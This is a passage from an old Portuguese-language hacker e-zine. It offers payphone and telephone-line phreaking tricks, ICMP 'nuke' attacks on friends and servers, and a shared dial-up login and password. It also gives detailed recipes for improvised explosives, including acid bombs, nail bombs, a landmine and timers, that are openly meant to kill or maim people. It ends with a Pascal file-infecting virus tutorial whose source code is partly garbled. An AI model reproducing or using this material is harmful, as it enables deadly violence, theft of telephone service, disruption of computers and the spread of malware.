      esquerdo do aparelho telefonico, entre o telefone e uma grade preta de 
      sustentaaum que fica atras dele, eu aconselho que voce evite esses
      tipos.
      Vamos voltar um pouco para a parte tecnica da coisa. 
      O diodo que estamos utilizando vai funcionar da seguinte maneira: 
      Quando uma ligaaum e completada de um telefone publico, a central
      inverte a polarizaaum do telefone de -48 para 48 volts. Quando o
      aparelho telefonico percebe isso, ele pede uma fixa (ou uma unidade).

      Ai e que entra em funcionamento o nosso querido diodo. 
      Ele permite que a tensaum caia ate 0 volts, mas naum permite que ela se
      torne positiva. Dessa forma o orelhaum no vai pedir a ficha (ou unidade
      de carto).
      Nesse caso o resistor esta funcionando apenas como um dissipador de
      potencia, para que voce naum de o azar de queimar o diodo (naum que ele
      seja karo, e que em algumas localidades ele pode ser uma pea rara que
      custa R$0,15) e ficar sem telefonar. Mesmo se voce naum achar nenhuma
      loja que venda, pegue uma placa antiga de alguma coisa que tenha
      queimado. 
      Elas sempre tem diodos. Voce deve procurar uma pea pequinininha que
      tem dois terminais, e preta e normalmente vai estar escrito IN. 




      5- Efetuando ligaoens gratuitamente utilizando um aparelho comum:

      Primeiro, voce deve tomar os processos citados anteriormente
      para descascar os fios do telefone. Em seguida voce deve conseguir um 
      aparelho telefonico comum e ligar cada uma das pontas dos fios dele nos
      fios do orelhaum. Para facilitar a sua vida, eu aconselho que o seu
      telefone seja o menor possivel e que voce prenda um jacare (pequeno
      gancho achado em qualquer loja de componentes eletronicos) em cada uma
      das pontas do seu telefone, para facilitar a ligaaum no orelhaum.
      Pode-se efetuar uma ligaaum normalmente

      Obs.: Ligue para um celular ai voc vai perceber que o orelhaum pede
      uma ficha a cada mais ou menos 10 segundos! Voce vai perceber isso
      porque vai ter uma leve caida no som! Imagine se voce fosse ligar
      normalmente? Quantas fichas ou unidades naum iriam se voce ligasse para
      a sua namorada? hehehehe

                 6. Conectando notebooks a telefones publicos:

      O processo para se conectar notebooks a orelhoens, e igual ao de se
      conectar telefones comuns. Resumirei nesse item, algumas consideraoens
      a respeito da fiaaum do notebook, que segue os padroens da
      FCC Americana e e um pouco diferente da nossa. O conector do fio do
      notebook, que e do tipo jack, tem quatro fios dentro dele. Arranque o
      conector de plastico transparente que fica na ponta do fio, pegue os
      dois fios centrais e separe-os dos fios das extremidades. Estes dois
      fios centrais, saumo os que seraum utilizados para fazer a ligaoens no
      orelhaum. Eu aconselho que voce coloque jacares neles tambem. Basta
      conectar-se a BBS's da mesma forma que voce se conecta em casa.
      Caso voce queira testar se esta tudo OK, abra um programa de terminal
      qualquer e digite o comando ATA, se fizer um barulhinho parecido com o
      tom de linha e que esta tudo OK. 

      7. Efetuando ligaoens gratuitas de caixas de verificaaum (caixas da
      TELEPAR):

      Para se efetuar uma ligaaum de dentro destas caixas, basta que voce
      pegue um dos diversos pares de fios que se encontram la dentro e ligue
      eles ao seu pequeno telefone comum portatil ou a um notebook. Naum
      esquea de por os fios que voce tirou de volta no lugar para que, nem o
      pessoal da manutenaum e nem o dono da linha, percebam. Como essas
      caixas de verificaaun costumam se situar em vias bem movimentadas, a
      pratica desse tipo de ligaaum e desaconselhada. Mas, como toda a regra
      tem sua exceam, fica aqui mais uma informaaum para voce. Vale lembrar
      que de caixas de verificaaum, pode-se efetuar telefonemas para qualquer
      lugar, inclusive chamadas internacionais pois saum linhas comuns de
      telefones!

      8. Ligando de telefone celular sem pagar:

      E simples, voce tem que ligar para um numero normal, vamos pegar
      o exemplo de um numero de celular.

      Ex.: 6972-5033

      Pra falar a verdade eu coloquei o numero do telefone do lammer do
      Eduardo!
      Entaum devemos pegar o ultimo numero do telefone a ser discado, 
      no caso o 3... subtraimos ele de 10, o que vai resultar o numero 7. 
      Somente vamos acrescentar o numero 7 ao final do numero discado. 
      O resultado vai ficar:

      Numero ligado sem pagar: 6972-50-33-7

      Obs.: Podem passar trotes a vontade !!!

      Espero que com todas essas dicas voce vai poder sair por ai ligando pra
      todo lugar de graa :-)
      VAMOS MOSTRAR PARA A MALDITA DA TELEBRAS QUEM  QUE MANDA AKI!!!!
      ESSES CORRUPTOS QUE SO PENSAM EM AUMENTAR A TARIFAS PARA NOS BLOQUEAR
      DE USAR A INTERNET! :-(

      Autor: Phreak
                   Mundo Hacker & Sociedade Phreaker

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                              9*%%Nuke%%*9 

           Nuke e como vc encerra uma conexaum TCP com menssagem de erro env-
           iando pacotes ICMP. Na verdade e igual ao flood mas vc naum vai
           ser pego e alem do mais ele se utiliza da falhas no sistema

           Para usar o NUKE e BOI

           1- Descola um programinha de NUKE como o liquidn, wnewk na minha
           opiniaum o wnewk e melhor dando ate pra nukar servers nem adianta
           me encher pedindo o programa que eu naum vou passar a naum ser
           para os manos mais proximos. Mas esfria que na page l em cima
           a primeira tem os programas de nuke.

           2- Descola um rastreador de IP o ipscan e o ideal ou se naum vc 
           pode usar o icq e nukar seus amigos otarios ou use o xitami na
           page l em cima tem o xitami e a explicaao de como usar.

           3-Quando pegar o IP da vitima e so clicar em nuke caso vc esteja
           usando o liquidn ou engage nuke caso vc utilize o wnewk.
           hehe e bem legalzinho para vc fuder seu amigo trouxa

           BONUS NUKANDO SERVIDOR

           Para Nukar o server voc vai precisar de um programa para
           portas no server o satan  o ideal eu nao sei onde vocs podem
           pegalo mas o meu eu arranjei em uma busca por FTP na busca
           por FTP coloque satan.zip

           Com o Satan veja qual a porta que esta aberta e utilize-se do
           programa wnewk especifique o server e o numero da porta.
           hack, hack, hack, hack 100% Brasil
                                             
<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                         10***(()BoMbAS())***10

          1 Vamos ensinar como fazer polvora!!!!!

          Pegasse carvao de preferencia usado queles que seu pai terminou de
          fazer aquele churrasco horroroso
          Enxofre
          Nitrato de potassio ou de sodio mas tb Salitre

          Coloque 2/3 de um copo de carvao e o resto do copo ou seja o
          gafanhoto o que faltar pra completar o copo de carvao coloca meio
          enxofre e meio nitrato de q vc usar mistura com agua ate virar uma
          pasta e coloca para secar no sol e plim POLVORA PURA!!!!!!!!!
          C naum quiser fazer polvora pq sua mae naum deixa vc pode comprar
          numa casa de macumba!!!
          Os melhores saquinhos saum os de levar ao freezer!!!!

         1-BOMBAS

         Bomba de MERDA

         Material

         Um monte de bosta pode ser a sua ou de cachorro mas a melhor e a de
         cavalo
         Oleo diesel ou polvora (o melhor e polvora)
         Fita crepe ou silver tape

         Mistura tudo e embrulha em umas duas folhas de jornal e coloca-se um
         pavil ou um cigarro no caso de querer Ter tempo de correr  emrrola
         tudo em fita ou silver tape...

         Bomba de garrafa

         Material 

         Uma garrafa de vidro 
         Gasolina

         Colocasse gasolina dentro de uma garrafa e retirasse ela depois
         entaum colocasse um pano como em um coquetel molotov e acende e
         deixa explodir pra assustar alguem e muito util!!!!!

         Bomba de ferrugem

         Pregos 
         Vinagre
         Sal
         Polvora ou gasolina
         Fita crepe ou silver tape

         Deixasse ums dois ou tres dias os pregos no vinagre e sal pra
         enferrujar bastante tente triturar os pregos quando estiverem
         podres se naum enfia inteiro (so deixa inteiro c vc for jogar a
         bomba dentro do onibus da torcida independente)
         Mistura os pregos com gasolina ou polvora o melhor e polvora  tudo
         dentro de um saco ou garrafa c for um saco passa silver tape ou fita
         crepe c for garrafa naum tem esta necessidade.
         Coloca-sse um pavil c for um saco ou pano embebido em alcool c for
         uma garrafa
         Para matar alguem e muito bom.

         Bomba de fosforos

         E a + facil esta bomba foi retirada da revista axur05 alias visitem
         o site e muito bom VooDoo esta de parabens!!

         Material 

         Bola de tenis
         Ums trocentos fosforos

         Tira a cabea de todos eles e faz um furinho na bola de tenis entaum
         emfia fosforo ate naum der mais pra por e coloca um pavil ou cigarro
         e muito legal!

         Bomba de acidosulfurico

         Material 
         Um copo de plastico com sua tampinha
         Acido sulfurico concentrado
         Polvora (c quiser q fique uma arma mortal c quiser 'so derreter a
         cara de um vizinho maldito usa so o acido)
         Um saquinho de plastico
         Silver tape ou fita crepe
         Agua 
         Um pavil bem cumprido com ums 15 a 20 cm
         Durepox

         Pega a tampa do pote e faz um furo minusculo de modo que so entre o
         pavil
         Enche o pote com acido sulfurico concentrado e tampasse de modo que
         fique deste jeito

           |
           | 
-----------|--------------
|          |             |
|          |             |
|          |             |
|          |             |
|          |             |
--------------------------

         Ou seja o pavil tem que ser bem cumprido pra que fique dentro do
         pote ate o fundo e ao mesmo tempo uma mecha bem grande pra fora !
         Coloca dentro de um saco
         C vc for usar polvora coloque ela dentro do saco antes de por o pote
         de modo que a polvora encubra por completo o pote e fique em contato
         com o pavil
         C vc naum usar polvora faa o seguinte faa uma bola de durepox
         coloque e logo apos colocar o pavil vede a tampinha com durepox em
         vez de polvora vc coloca agua di mesmo modo como descrito acima
         cubrindo todo o pote !!!!!
         Fecha com muito mas muito silver tape ou fita crepe 
         Esta pode matar um desinformado

         Bomba tradicional

         Material

         2 ou tres rojoes de 12 tiros 
         bolas de gude ou pedra mineira e uma barra de ferro 
         saco plastico silver tape ou fita crepe

         Pegasse ums dois ou tres rojes de 12 tiros e tira toda polvora de
         dentro naum pode ser aquela polvora que foi feita la em cima tem que
         ser a polvora do rojao.
         Enfia a barra de ferro dentro do saco colocasse umas duas ou tres
         bolas de gude ou umas pedras e enrrola com muita fita crepe ou
         silver tape Joga e corra que nem um louco

         Bomba de extintor de incendio

         Material 

         Muita polvora ums tres ou quatro quilos 
         Um extintor daqueles que viram de ponta cabea
         Pavil ou bolas de gudes ou at pedras redondas

         Desrrosqueia a parte de cima do extintor vai Ter um espao sem nada
         mas cuidado pra naum virar de ponta cabea, no espao sem nada enche
         com ums 3 ou 4 quilos de polvora podesse colocar pedras bolas de
         gude ou um pavil mas colocando o que vc quiser logo depois vc fecha
         ou seja rosqueia a tampa de novo no lugar vc pode jogar c tiver com
         pedra ou acender o pavil e correr mas corre mesmo pois uma bomba
         desta ou melhor umas tres ou quatro desta pode derrubar um predio
         de verdade a ultima que eu fiz derrubou o murro do vizinho e rachou
         a parede da sala e mesmo muito poderosa e indicada para ataques
         terroristas c vc quiser derrubar um predio ou destruir seu colegio
         ou uma casa!!!!!!!

         Bomba dentro de um disquete

         Materiais

         Um disquete
         Polvora 
         Pedra de zipo
         Aquela outra pedra q fica na parte de cima de qualquer isqueiro onde
         se esfrega o dedo
         Martelo

         Abresse o disquete com cuidado pra naum quebrar a parte onde se
         encontra os encaixes faz um esquema assim

         Abresse o disco
         Quebra a pedra de zipo no meio
         Coloca a metade da pedra presa a mola do disquete de modo de que
         quando se abra ela se mova em qualquer direao
         Quebra-se a pedra de cima com um martelo at ela ficar em inumeros
         caquinhos
         Coloca polvora dentro do disco junto com os caquinhos da pedra e
         fexa o disquete c vc quebrou as travas do diquete cola com super
         bonder
         C der tudo certo c pode destruir um pc com esta bomba dentro de um
         disquete e mais uma bomba macabra inventada por mim!!!!!!!

         Bomba de gas

         Materiais 

         Alcool
         Cloro em pedra

         Compra-se uma garrafa de alcool novinha em folha entaum enche ela
         de cloro em pedra e fecha
         Coloquea em uma privada que vai tudo pelos ares!!!!!!

         Dynamite

         Materiais

         Um cilindro de plastico
         Polvora de preferencia polvora de um rojao
         Gasolina ou oleo diesel
         Ums 30 cm de pavil
         Silver tape

         Misturasse a polvora com oleo ou gasolina de modo que fique uma
         pasta enfia um pavil grande at o fim do cilindro mas naum pode
         ficar frouxo tem que estar ate o fundo do cilindro mas esticado
         entaum coloca-se a pasta de polvora e um outro combustivel enrrola
         a banana com silver tape naum pode ser fita crepe c naum naum vai
         pegar pressao!!!!
         E uma banana profissional a mesma usada para derrubar predios c
         quise uma coisa realmente poderosa  so enfiar tudo em um cano de
         pvc de umas 10 polegadas

         2- Minas

         Uma mina e meio complicado mas vamos la c vc naum for nenhum
         retardado vai poder arrancar as pernas de um inbecil com ela!!!!

         Materias
         Uma tampa de panela
         Um recipiente onde esta tampa de panela se encaixe mas com uma
         pequena folga
         Polvora ou explosivo R8
         Molas de aproximadamente 15 a 17 centimetros cada podendo variar de
         acordo com a profundidade do recipiente usado mas tem que ser molas
         duras feitas de ferro como as usadas em presilhas de fogoes
         Um isqueiro tipo zipo pode ser aqueles comprados em camelos que
         custam ums 3 ou 4 reais
         Ferro de solda
         Uma barra de ferro com exatamente a de modo que o isqueiro fique de
         pe no fundo do recipiente e a barra tem que encostar a tampa de
         panela!!

         Siga o modelo

----------------------------------------------tampa de panela
|               )      | | barra     (       |
|         mola(       | |     de      )      |
|               )      | |    ferro    ( mola|recipiente
|              (       |-----|          )     |
|               )      |     | zipo   (      |
-----------------------------------------------  
      
         Procedimento

         Colocasse a tampa de panela em um recipiente um pouco maior de forma
         que ela desliza para cima e para baixo.
         Soldasse um zipo carregado at o talo e sem a carcaa dele no fundo
         do recipiente.
         Soldasse uma bara de ferro na tampa da panela exatamente da mesma
         altura em que esta a peda de risco do zip de modo que quando afunde
         a tampa a pedra seja acionada.
         Soldasse as molas que tem que ser ums 5 cm maiores que a
         profundidade final do recipiente procure usar recipientes com no
         maximo 5 cm maiores que o isqueiro.
         Colocasse os explosivos R8 em volta do bico do zipo uma boa dica e
         prendelos em volta do pavil do zipo com silver tape ou encha de
         polvora ate metade do recipiente

         Quando a vitima pisar em cima ela ai afundar a tampa que vai forar
         a barra de ferro para baixo e por fim vaoi acionar o zipo que vai
         tocar fogo no explosivo R8 ou na polvora uma boa dica e colocar
         pregos enferrujados que ficaram umas 2 semanas na salmora com acido!

         EXTRA TEMPORIZADOR

         Eu falei que iria deixar para o proximo mas ja que estamos aqui
         vamos la!!!

         Pode ser feito com um relogio de ponteiro ou um digital vou
         explicar com os dois!!!!

         Ponteiros

         Certifiquesse que ele tem aquele sino em cima dele entao coloque
         para dispertar a uma hora qualquer amarre no martelinho um saquinho
         com os seguintes ingredientes

         Acido sulfurico concentrado, agua, polvora.
         Quando ele despertar o acido entra em contato com a agua que vai
         entrar em alta temperatura e queimar a polvora acendendo deste modo
         qualquer pavil que esteja do lado!!!!!!!

         Certifiquese que no saquinho que esta amarrado ao martelinho a
         polvora agua e acido estaum separados de modo que s se misturem
         quando o saquinho estourar!!!!

         Digital

         Acerte ele para despertar em uma hora qualquer!!!

         Procure por dentro do relogio dois fios um vermelho e outro amarelo
         que estarao ligados no lugar onde c acerta a hora!
         Coloque dois fios menores saindo destes fios de modo que estejam so
         com as pontas desemcapadas e perto de um saquinho de polvora perto
         nao dentro de um saquinho de polvora!!!
         Quando o relogio tocar bum a polvora pega fogo!!!!!!
         Se bem que eu naum gosto deste tem que ser feito certinho c naum
         ele naum estoura!!!!!!
                               
<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>
                               
                  11<<BONUS - Se conectando completamente FREE >>11

          Como hoje eu estou muito de bom humor vou passar um metodo para
          vc's se conectarem sem pagar a MERDA do provedor e muito menos
          a MERDA da TELESP "Viva internete a cabo".
          Frizando bem tem ums caras de uma pagina que se chama "Mundo hac-
          ker e sociedade phreacker" que juram que eles que descobriram esta
          merda mas pode ate ser que eles tb tenham descoberto o mesmo que
          eu descobri que na verdade e um pequeno erro no SBT online
          Naum me levem a mal cara mas qualquer tapado teria capacidade de
          ter feito isto e pelo visto vc's naum foram os unicos. Alias
          quando eu fechei esta ediaum eu tinha ido pra rede quando cai
          na page deles e vi a mesma coisa que vou escrever aqui tanto que
          eu tive o trabalho de reabrir a ediaum e fazer algumas consider-
          aoems para que o barato naum pegue mal para o meu lado.

          Crie uma nova conexaum com os seguintes dados.

          Telefone de acesso 0800 55 76 76
          Login Dmayce
          Password sptob

          Olha carinhas do MH&SP naum me levem a mal a naum penssem que
          um puta embalista mai eu tb tinha registrado aqui em casa a
          falha no sistema de cadastro ok!! Mas se mesmo assim vc's se
          sentirem lezados EMAIANOS!

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                      12^&&*()*--=->ViRus<-=--*()*&&^12

          Este tutorial de vrus em pascal foi obtido pela net todos os
          se devem a LeBeau eu nao coloquei coisas minhas sobre vrus pelo
          fato de os que eu tenho escrito estao em assembler e como o e-zine
           para iniciantes fica meio dificil vocs entenderem mas esta aqui
          aproveitem pois na proxima FW tem muito mais!!!!!!!!

          Qualquer duvida mande um email para:
          rlebeau@geocities.com
          ou visite a HP:
          http://www.geocities.com/SiliconValley/Lakes/3892
                                      
---------------------------------------------------------------------------
Introducao
---------------------------------------------------------------------------

          Vamos comecar esse tutorial tendo em mente uma coisa: O que e um
          virus de computador?
          Um virus de computador nada mais e que um programa que se auto-copia
          , ou seja, nao e necessario que eu digite um comando especifico que
          ative ele, basta executar o programa que contem o virus (Geralmente
          sem querer), o que eu pretendo fazer com esse texto e tentar ensinar
          a vc como criar um virus simples em pascal, tentando mostrar a
          logica dele.  Eu peguei a linguagem Pascal para fazer esse virus,
          por que para mim ela e uma das melhores que existem, e tambem para
          ensinar a logica do virus o Pascal e otimo, eu poderia ter criado
          um tutorial de como fazer um virus em ASM, mas poucos iriam poder
          usufruir totalmente da logica, por outro lado quase todo mundo
          programa em Pascal, entao ai esta.  So tem uma coisa que eu nao
          gostei nesse virus em Pascal:  O tamanho dele pronto, ele fica com
          um tamanho variando de 8 K a 12 K, o que para um virus e muito,
          em ASM ou C ficaria em torno de 1 K a 4 K, mas a pessoa que ler
          esse texto pode muito bem passar esse programa do Pascal para o C
          ou ASM, caso alguem faca isso, eu pediria para que me enviassem o
          codigo final.
          Depois disso, vamos tratar de criar um plano de ataque para o meu
          virus, ou seja como ele vai agir.


---------------------------------------------------------------------------
Teorizando:
---------------------------------------------------------------------------

          O virus que eu fiz em Pascal trabalha do seguinte jeito, ele copia
          somente o virus para um arquivo temporario e depois ele copia o
          arquivo hospedeiro para o final dele, depois apagava o arquivo
          hospedeiro original do disco e renomeava o arquivo temporario de
          modo a ter o nome do arquivo hospedeiro.

          Seria algo como concatenacao de arquivos, se eu fosse fazer isso em
          DOS, eu faria assim:

         Comandos:
         copy /b virus.exe+arquivo.exe virtemp.tmp
         del arquivo.exe
         ren virtemp.tmp arquivo.exe

         Onde:
         virus.exe = virus (somente)
         arquivo.exe = arquivo hospedeiro (Pode ser extensao .exe ou .com,
         nao ha diferenca)
         virtemp.tmp = arquivo infectado temporario
         /b = realiza copia binaria


---------------------------------------------------------------------------
Problemas:
---------------------------------------------------------------------------

         So que o virus nao e tao simples assim.  Problemas a serem tratados:

         1) O DOS nesse caso, somente executaria o virus, deixando o programa
         hospedado sem ser executado, o certo e que ele seja executado.

         2) A data e hora do arquivo ficam alterados, o certo e que elas
         continuem inalteradas.


---------------------------------------------------------------------------
Possiveis solucoes:
---------------------------------------------------------------------------

         1) Criar uma funcao que desfaca o que foi feito, gravando o arquivo
         com outro nome e depois executando ele de dentro do virus.

         2) Gravar data e hora do arquivo para variaveis e depois
         recoloca-las no arquivo.


---------------------------------------------------------------------------
Outras questoes a abordar:
---------------------------------------------------------------------------

         1) Reproducao - Ele tem que se reproduzir, senao ele nao pode ser
         chamado de virus.

         2) Execucao - Ele tera que executar o programa hospedeiro.

         3) Acoes que ele possa vir a fazer - Algo que se coloque no codigo
         do programa para que o virus execute, tipo apagar command.com,
         impedir que a impressora imprima (em modo DOS), tocar sons e/ou
         fazer uma bolinha passear na tela (Isso o que eu geralmente uso),
         ou entao fazer dele um virus anti-virus.

         4) Programa Anti-virus - Isso mesmo um anti-virus, seria a coisa
         mais idiota voce fazer um virus e nao ter uma protecao contra ele,
         uma vez que voce vai realizar varios testes, vai que ele escapa do
         seu controle. O Anti-virus no caso seria um programa SEU em Pascal
         que desinfectasse o arquivo.

         5) Programa que mostra o tamanho e o cabecalho do seu virus - O
         virus necessita de informacoes quanto a si proprio para agilizar o
         esquema.

         6) Encriptacao - Esconder os dados de alguem que veja o conteudo do
         virus!

         7) Quantos arquivos a serem infectados - Quantidade maxima de
         arquivos a serem infectados. Questao de seguranca.


---------------------------------------------------------------------------
Fluxograma:
---------------------------------------------------------------------------

                     Virus Executado
                           |
                           |
           (inicinf)Iniciar infeccao nos caminhos
           c:\dos\*.com, c:\dos\*.exe, *.com, *.exe
             c:\windows\*.com, c:\windows\*.exe
                           |
                           |
             (infec)Infecta os arquivos do diretorio fornecido.
                           |
                           |
            (procura)Procura primeiro arquivo a infectar
                           |
                           |
 +----->  (verifica) Arquivo Infectado? ---S--------------------------------+
 |                         |                                                |
 |                         | N                                              |
 |          (infec)Copia virus (sem arq hospedeiro)                         |
 |           para um arquivo chamado virtemp.tmp                            |
 |                         |                                                |
 |                         |                                                |
 |            Copia arquivo a ser infectado a partir                        |
 |               do fim do virus (concatenacao):                            |
 |            copy /b virtemp.exe+arquivo.exe virtemp.tmp                   |
 |                         |                                                |
 |                         |                                                |
 |     Grava data e hora do arquivo em variaveis.                           |
 |                         |                                                |
 |                         |                                                |
 | Apaga arquivo original a ser infectado (del arquivo.exe)                 |
 |                                                                          |
 |                         |                                                |
 |                         |                                                |
 |  Renomeia virus com arquivo infectado(virtemp.tmp) para                  |
 |      arquivo.exe: ren virtemp.tmp arquivo.exe                            |
 |                         |                                                |
 |                         |                                                |
 |         Recupera a data e hora do arquivo hospedeiro                     |
 |                         |                                                |
 |                         |                                                |
 +-------------S-- Procura mais arquivos. <---------------------------------+
                   Existem mais arquivos?
                           |
                           | N
           (executa)Iniciar execucao do programa hospedeiro
                           |
                           |
              Separar programa hospedeiro do virus
                           |
                           |
         Posicionar ponteiro no fim do virus (e inicio
                   do arquivo)
                           |
                           |
           Iniciar a copiar a partir deste ponto
                ate o fim do arquivo (Resultado: programa
                sem virus pronto a ser executado)
                para um arquivo chamado virtemp.TMP
                           |
                           |
                 Executar arquivo virtemp.tmp
                           |
                           |
             Limpar o conteudo do arquivo
             virtemp.tmp (de modo que nao
       se possa recuperar o que tinha dentro dele)
                           |
                           |
             Apagar o arquivo virtemp.tmp
                           |
                           |
             Iniciar procedimentos que ele possa vir
                a fazer (Apagar arquivos, mexer com a
                    impressora, etc).
                           |
                           |
                     Fim do virus


---------------------------------------------------------------------------
Iniciando a infectar:
---------------------------------------------------------------------------

          Vamos iniciar a infeccao, nesse caso seria somente iniciar o
          caminho que se quer infectar. Nesse caso: c:\dos\*.com, c:\dos\*.exe
          , *.com, *.exe,
          c:\windows\*.com, c:\windows\*.exe, junto disso deve ser dado o
          diretorio de trabalho.

          Procedure inicinf;
          begin
  if MOSTRA then writeln('Iniciando infeccao dos arquivos');
  arquiv:=0;
  procura('*.com','');
  procura('*.exe','');
  procura('c:\windows\*.com','c:\windows\');
  procura('c:\windows\*.exe','c:\windows\');
  procura('c:\dos\*.com','c:\dos\');
  procura('c:\dos\*.exe','c:\dos\');
  if MOSTRA then writeln('Infeccao dos arquivos Finalizada. Com um total de:');
  if MOSTRA then writeln(arquiv,' arquivos infectados.');
end;

          Como se pode ver, essa procedure somente lanca outra, outra coisa,
          e preciso fornecer um diretorio de trabalho para o esquema poder
          funcionar direito.


---------------------------------------------------------------------------
Infeccao de virus:
---------------------------------------------------------------------------

          Essa parte ainda seria um procedure que lanca outra, mas ela
          trabalharia mais a nivel de arquivo do que a anterior.

procedure procura(nome,dir:string);
begin
  if MOSTRA then writeln('Iniciando infeccao do diretorio: ',nome);
  FindFirst(nome, Archive, DirInfo);
  {$i+}
  while (DosError = 0) and (arquiv'COMMAND.COM') then begin
    HORAINI(NOME);  {Grava data e hora do arquivo}
    assign(FromF,nome);
    reset(FromF,1);
    assign(ToF,'virtemp.tmp');
    Rewrite(ToF,1);
    repeat
      BlockRead(FromF, buf2, SizeOf(buf2), numread);
      BlockWrite(ToF, buf2, numread, NumWritten);
    until (numread = 0) or (NumWritten <> numread);
    close(FromF);
    close(tof);

    {Ate aqui seria a parte onde se copia o arquivo a ser infectado para outro
     arquivo temporario}

    assign(FromF,nome_arq); {nome_arq: explicado mais tarde}
    reset(FromF, 1);
    assign(ToF, nome);
    Rewrite(ToF, 1);
    BlockRead(FromF, buf, SizeOf(buf), numread);   {Caso vc nao se lembre, o BUF e o buffer}
    BlockWrite(ToF, buf, numread, NumWritten);     {que contera o virus, que nesse caso ele}
    close(FromF);                                  {copiara somente o virus para o arquivo a}
    close(tof);                                    {ser infectado (arquivo.exe) em que havia sido}
                                                   {movido o seu conteudo para virtemp.tmp   }
                                                   {deixando, por enquanto somente o virus no }
                                                   {arquivo                                   }


  assign(FromF,'virtemp.TMP');
  reset(FromF, 1);
  assign(ToF, nome);
  reset(tof,1);
  seek(tof,LENVIRUS); {Posiciona o ponteiro do arquivo na posicao final do arquivo}
  repeat
    BlockRead(FromF, buf, SizeOf(buf), numread);
    BlockWrite(ToF, buf, numread, NumWritten);
  until (numread = 0) or (NumWritten <> numread);
  close(FromF);
  close(tof);
  erase(fromf);
  HORAFIM(NOME);
  end;
  {Essa parte seria a concatenacao virus+arquivo, onde o arquivo seria acrescentado no fim do
   virus}

  if MOSTRA then writeln('Infeccao completa.');
end;

procedure procura(nome,dir:string);
begin
  if MOSTRA then writeln('Iniciando infeccao do diretorio: ',nome);
  FindFirst(nome, Archive, DirInfo);
  {$i+}
  while (DosError = 0) and (arquiv numread);
  close(FromF);
  close(tof);
  exec('virtemp.tmp',paramstr(1)+' '+paramstr(2)+' '+paramstr(3)); {Executa o programa aqui}
  rewrite(tof); {Agora vou limpar o conteudo e apagar o arquivo}
  close(tof);
  erase(tof);
  if MOSTRA then writeln('Execucao do programa hospedeiro finalizada');
end;


---------------------------------------------------------------------------
Corpo Principal do programa:
---------------------------------------------------------------------------

          Vamos ter que iniciar as funcoes do virus:

begin
  if MOSTRA then writeln('Iniciando o Virus');
  nome_arq:=paramstr(0); {Essa variavel ira conter o nome do programa que esta sendo executado
                          no momento.  Caso o nome que foi executado seja EDIT.exe essa variavel
                          contera EDIT.EXE}
  SETCBREAK(FALSE); {Para que o usuario nao possa apertar Ctrl-C}
  contra(nome_arq);
  inicinf;
  executa;
  apag_arq;
  GetIntVec($1c,@int1c);     {Essa parte sera vista mais adiante}
  SetIntVec($1c,Addr(bola));
  vbola:=false;
  cx:=random(80);{Aleatorizar a posicao da bola na tela}
  cy:=random(24);
  GetIntVec($17,@printer);         {Essa parte sera vista mais adiante}
  SetIntVec($17,Addr(escrever));  {Essa parte mostra ao computador para usar
                                   O procedimento escrever como padrao para a
                                   impressora}
  if MOSTRA then writeln('Fim do virus.');
  keep(0); {Deixa o programa residente na memoria.}
  if mostra then writeln('Programa Residente');
end.


---------------------------------------------------------------------------
Programas necessario a execucao do Virus:
---------------------------------------------------------------------------

          Vou mostrar alguns programas necessarios para o correto uso desse
          virus:

          1) Programa que determina o cabecalho e ja mostra o tamanho do
          executavel.
          Esse programa tem que ser colocado em um arquivo com o seguinte
          codigo:

program Cabecalho;
uses crt;
var
  arq: file;
  NumRead, NumWritten: Word;
  Buf: array[1..5] of Char;
begin
  Assign(arq, 'virus.exe'); { Open input file }
  Reset(arq, 1);  { Record size = 1 }
  Writeln('Tamanho do Virus: ', FileSize(arq), ' bytes...');
  BlockRead(arq, Buf, SizeOf(Buf), NumRead);
  Close(arq);
  writeln('Cabecalho: ',buf[1],buf[2],buf[3],buf[4],buf[5]);
  writeln('Codigo Ascii: ',ord(buf[1]),' ',ord(buf[2]),' ',ord(buf[3]),' ',ord(buf[4]),' ',ord(buf[5]));
end.


          2) Programa Antivirus: Para se ter um programa anti-virus desse
          virus, e necessario os seguintes dados: LENVIRUS e os primeiros
          5 bytes do arquivos Lenvirus e fundamental pois so com ele se pode
          desinfectar os arquivos. Uma vez que e ele quem fornece a posicao
          do fim do virus e inicio do arquivo que vai ser liberado.
          Os primeiros 5 bytes podem ser arrajandos atraves do programa
          Cabecalho visto anteriormente.  O codigo de um programa antivirus
          com todos os dados preenchidos ficaria assim:

program antivirus;
uses crt,dos;
const
  CAB:string[5]=CHR(77)+CHR(90)+CHR(48)+CHR(1)+CHR(23);  { CABECALHO DO VIRUS - ALTERE SE MODIFICADO}
  LENVIRUS = 11568;
PROCEDURE limpa(nome:string);
var
  buf: array[1..LENVIRUS] of Char; {Tamanho do virus}
  buf2: array[1..2048] of Char;    {Variavel necessaria para a copia}
  numread, NumWritten: Word;
  fromf,tof:file;
begin
  assign(FromF,nome);
  reset(FromF, 1);
  if filesize(fromf)>lenvirus then begin
    assign(ToF, 'virtemp.tmp');
    rewrite(tof,1);
    seek(fromf,LENVIRUS); {Posiciona o ponteiro do arquivo na posicao final do arquivo}
    repeat
      BlockRead(FromF, buf, SizeOf(buf), numread);
      BlockWrite(ToF, buf, numread, NumWritten);
    until (numread = 0) or (NumWritten <> numread);
    close(FromF);
    close(tof);
    erase(fromf);
    rename(tof,nome);
  end;
end;
function verifica(nome:string):boolean;
VAR
  buf: array[1..10] of Char;
  numread:WORD;
  con:integer;
  vfile:file;
begin
  con:=1;
  assign(vFile,NoME);
  reset(vFile,1);  { Record size = 1 }
  BlockRead(vFile, buf, SizeOf(buf), numread);
  IF (buf[3]=CAB[3]) AND (buf[4]=CAB[4]) then
  begin
    {Verifica o cabecalho do arquivo}
    verifica:=TRUE                               {para ver se ja foi infectado}
  end ELSE
  begin
    verifica:=FALSE;
  end;
  close(vFile);
END;

procedure procura_arqs(direct:string);
var
  DirInfo: SearchRec;         { For Windows, use TSearchRec }
begin                          { For Windows, use faArchive }
  FindFirst(direct, Archive, DirInfo); { Same as DIR *.PAS }
  while DosError = 0 do
  begin
    if verifica(dirinfo.name) then begin
      Writeln(DirInfo.Name);
      limpa(dirinfo.name);
    end;
    FindNext(DirInfo);
  end;
end;
begin
